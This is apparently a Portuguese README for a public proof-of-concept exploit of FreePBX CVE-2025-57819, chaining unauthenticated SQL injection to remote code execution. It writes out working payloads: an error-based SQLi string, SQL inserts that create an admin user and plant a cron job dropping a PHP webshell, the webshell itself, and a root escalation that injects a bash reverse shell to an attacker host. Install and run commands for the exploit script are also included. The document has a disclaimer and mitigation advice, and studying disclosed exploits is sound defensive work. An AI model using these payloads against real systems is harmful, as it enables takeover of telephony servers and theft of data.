FreePBX CVE-2025-57819 - PoC de SQLi Não Autenticado para RCE

Apenas para Fins Educacionais e Pesquisa de Segurança – Veja o Aviso Legal Abaixo

Prova de conceito de exploração para CVE-2025-57819, uma vulnerabilidade crítica de injeção SQL não autenticada no FreePBX que permite execução remota de código. Este PoC é publicado após o lançamento oficial de correções para fins de pesquisa de segurança e testes autorizados.

Visão Geral

As versões 15.x, 16.x e 17.x do FreePBX (abaixo das versões corrigidas) são vulneráveis a injeção SQL não autenticada no manipulador AJAX do módulo endpoint. Esta cadeia de vulnerabilidades permite:

1. Criar contas administrativas via injeção SQL
2. Implantar webshells através de injeção de tarefas cron autenticadas
3. Escalar para root (se o incron estiver disponível) via cadeia de hooks do sysadmin_manager
4. Comprometer totalmente o sistema com acesso a reverse shell

Detalhes da Vulnerabilidade

Endpoint Vulnerável

GET /admin/ajax.php?brand=<PAYLOAD>

O parâmetro brand no manipulador AJAX do módulo endpoint aceita entrada do usuário sem validação, levando a injeção SQL baseada em erro.

Cadeia de Exploração

Estágio 1: Injeção SQL e Criação de Conta de Administrador

Verifique a SQLi usando extração baseada em erro EXTRACTVALUE() para vazar o nome do banco de dados:

x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

Insira um novo usuário administrativo em asterisk.ampusers:

INSERT INTO ampusers (username, password_hash, admin) 
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)

Estágio 2: Injeção de Tarefa Cron Autenticada

Com credenciais de administrador válidas, o exploit se autentica no FreePBX e estabelece uma sessão autenticada. Os cookies de sessão são salvos e usados para todas as requisições autenticadas subsequentes.

Injete comando webshell em asterisk.cron_jobs:

INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)

O executor de cron do FreePBX executa o comando como usuário asterisk, implantando o webshell PHP.

Estágio 3: Ativação do Webshell

O webshell PHP é implantado em /var/www/html/shell.php:

<?php system($_GET['cmd']); ?>

O exploit consulta o webshell até a ativação, alcançando RCE como usuário asterisk (uid=999).

Estágio 4: Escalação de Privilégio (Condicional)

Se o incron estiver configurado no alvo:

1. Crie um arquivo de gatilho em /var/spool/asterisk/incron/
2. incrond (executando como root) detecta a criação do arquivo
3. Invoca /usr/bin/sysadmin_manager com o nome do arquivo de gatilho
4. sysadmin_manager valida a assinatura GPG e despacha para o hook fwconsole-commands
5. O hook decodifica o payload e executa: /usr/sbin/fwconsole <COMANDO>
6. Injeção de comando: help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

Resultado: Shell root no listener reverso (se o incron estiver disponível).

O Que É Explorado

• Nenhuma validação de entrada no parâmetro brand
• Execução de consultas empilhadas permite manipulação do banco de dados
• A tabela gravável asterisk.cron_jobs executa comandos como asterisk
• Persistência de sessão autenticada via cookies da conta de administrador criada
• Monitoramento de sistema de arquivos do incron executando como root
• Execução de hook fwconsole não validada com injeção de comando

Instalação

git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py

Uso

# Configurar Netcat Listener
nc -lvnp <Porta do Listener>

# Executar o Exploit
python3 JTR-CVE-2025-57819.py <IP_ALVO> <SEU_IP> <PORTA>

PoC

Versões Afetadas

Mitigação

Imediata:

• Restrinja o acesso a /admin/ajax.php de redes não confiáveis
• Desabilite o incron se não for necessário: systemctl disable incrond

Permanente: Atualize para as versões corrigidas: 15.0.66+, 16.0.89+ ou 17.0.3+

Referências

• CVE-2025-57819
• Catálogo CISA KEV
• Aviso de Segurança do FreePBX

Aviso Legal

⚠️ AVISO

Esta prova de conceito é fornecida EXCLUSIVAMENTE PARA TESTES DE SEGURANÇA AUTORIZADOS E FINS EDUCACIONAIS. O autor não assume nenhuma responsabilidade por uso indevido ou danos causados por esta ferramenta.

VOCÊ DEVE CUMPRIR COM:

• Lei de Fraude e Abuso de Computadores (CFAA) e leis equivalentes em sua jurisdição
• Testar apenas sistemas que você possui ou para os quais possui autorização explícita por escrito
• Obter permissão por escrito antes de qualquer teste de segurança
• Práticas de divulgação responsável
• Regulamentações de privacidade e proteção de dados (GDPR, CCPA, etc.)

USOS PROIBIDOS:

• Acesso não autorizado a sistemas de computador
• Testes de penetração sem consentimento por escrito
• Interrupção de serviços ou roubo de dados
• Qualquer atividade maliciosa ou ilegal

RENÚNCIA DE RESPONSABILIDADE: O autor não é responsável por:

• Acesso não autorizado ou acusações criminais
• Danos a sistemas ou perda de dados
• Consequências legais de uso indevido
• Violações de leis de fraude de computadores

Esta vulnerabilidade está:

• ✅ Divulgada publicamente (CVE-2025-57819)
• ✅ Correções disponíveis publicamente
• ✅ Publicada apenas para pesquisa de segurança
• ✅ Compartilhada de forma responsável após o lançamento da correção

Autor

JazzTheRabbit

• GitHub: @JazzTheRabbit
• HackTheBox: @JazzTheRabbit
• YouTube: JazzTheRabbit

Licença

MIT License